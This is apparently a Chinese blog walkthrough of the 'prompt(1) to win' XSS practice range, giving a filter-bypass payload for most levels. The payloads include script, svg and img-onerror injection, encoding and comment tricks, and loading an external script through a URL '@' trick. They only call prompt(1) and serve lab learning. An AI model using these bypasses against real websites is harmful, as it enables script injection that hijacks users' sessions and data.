当前位置:网站首页>XSS靶场(三)prompt to win
XSS靶场(三)prompt to win
2022-07-31 04:14:00 【树迷了路】
靶场地址:prompt(1) to win - 0x0
http://prompt.ml/0
0x00
无过滤,闭合双引号及标签即可;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、注掉即可;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,那就不用他俩;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->让我们无法闭合;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制src的值的开头必须为http://prompt.ml/;
可用@来重定向,但url:user:[email protected]中password后不能有 / ,用%2f代替;
在服务器根目录下写一个test.js,里面写个prompt(1)即可;
http://prompt.ml%[email protected]/test.js0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,再闭合前后 "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,必须输入形如 formURL#formDataJSON这样的如:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的action会直接覆盖前面的第一个action,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",过滤也就失效了;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #都会致使一个新 title的产生,每个 title后只显示前12个输入的字符;
用 /* */去除多余部分,逃逸长度限制 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,这就没法逃逸单行注释了;
但 javaScript规定有5个字符,不能在字符串中直接出现,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符

这东西没法直接用,得现在控制台让其生成一个特殊的payload,然后我们复制,再配合 --> 主调后面的 " 即可;
'\u2028prompt(1)\u2029-->' //复制到控制台生成特殊payload再复制拿去用
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
所以要用到一个技巧:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
破局点在于 ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1) 
0x0B
过滤了一堆东西;
解法没搞懂,哈哈;
"(prompt(1))in"
0x0C
这里先过滤,后替换,所以第10题那样行不通;
用 parseInt() 函数可解析字符串并返回整数,再用toString解码即可绕过;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-CSDN博客

eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
和第七题差不多,不过是过滤了/*,构造<!-- -->即可 ;
配合<svg>使注释生效即可;
关于此题中<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> 
边栏推荐
- [C language] General method for finding the sum of the greatest common factor and the least common multiple of two integers m and n, the classical solution
- Summary of Huawei Distributed Storage FusionStorage Knowledge Points [Interview]
- Thinking about data governance after Didi fines
- BUG destroyer!!Practical debugging skills are super comprehensive
- Win10 CUDA CUDNN 安装配置(torch paddlepaddle)
- (线段树) 基础线段树常见问题总结
- ERROR 1064 (42000) You have an error in your SQL syntax; check the manual that corresponds to your
- log level and print log note
- Musk talks to the "virtual version" of Musk, how far is the brain-computer interaction technology from us
- 已解决(最新版selenium框架元素定位报错)NameError: name ‘By‘ is not defined
猜你喜欢

exsl文件预览,word文件预览网页方法

手把手实现图片预览插件(三)

binom二项分布,

mysql基础知识(二)

ENSP,划分VLAN、静态路由,三层交换机综合配置

The application and practice of mid-to-platform brand advertising platform

Mysql 45 study notes (twenty-four) MYSQL master-slave consistency

(5) final, abstract class, interface, inner class
![[Swift]自定义点击APP图标弹出的快捷方式](/img/d4/84b237995fc3d3700916eb57f6670d.png)
[Swift]自定义点击APP图标弹出的快捷方式

Safety 20220712
随机推荐
Exsl file preview, word file preview web page method
[C language] General method of base conversion
Regarding the primary key id in the mysql8.0 database, when the id is inserted using replace to be 0, the actual id is automatically incremented after insertion, resulting in the solution to the repea
「 每日一练,快乐水题 」1331. 数组序号转换
[CV project debugging] CUDNN_CONVOLUTION_FWD_SPECIFY_WORKSPACE_LIMIT problem
Solved (the latest version of selenium framework element positioning error) NameError: name 'By' is not defined
专访 | 阿里巴巴首席技术官程立:云+开源共同形成数字世界的可信基础
C language confession code?
MySQL模糊查询可以使用INSTR替代LIKE
errno error code and meaning (Chinese)
LocalDate加减操作及比较大小
Redis uses LIST to cache the latest comments
IDEA常用快捷键与插件
interprocess communication
C语言表白代码?
Notes on the establishment of the company's official website (6): The public security record of the domain name is carried out and the record number is displayed at the bottom of the web page
ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)解决办法
Daily practice of LeetCode - 138. Copy a linked list with random pointers
Pytest e-commerce project combat (on)
Mysql 45 study notes (twenty-five) MYSQL guarantees high availability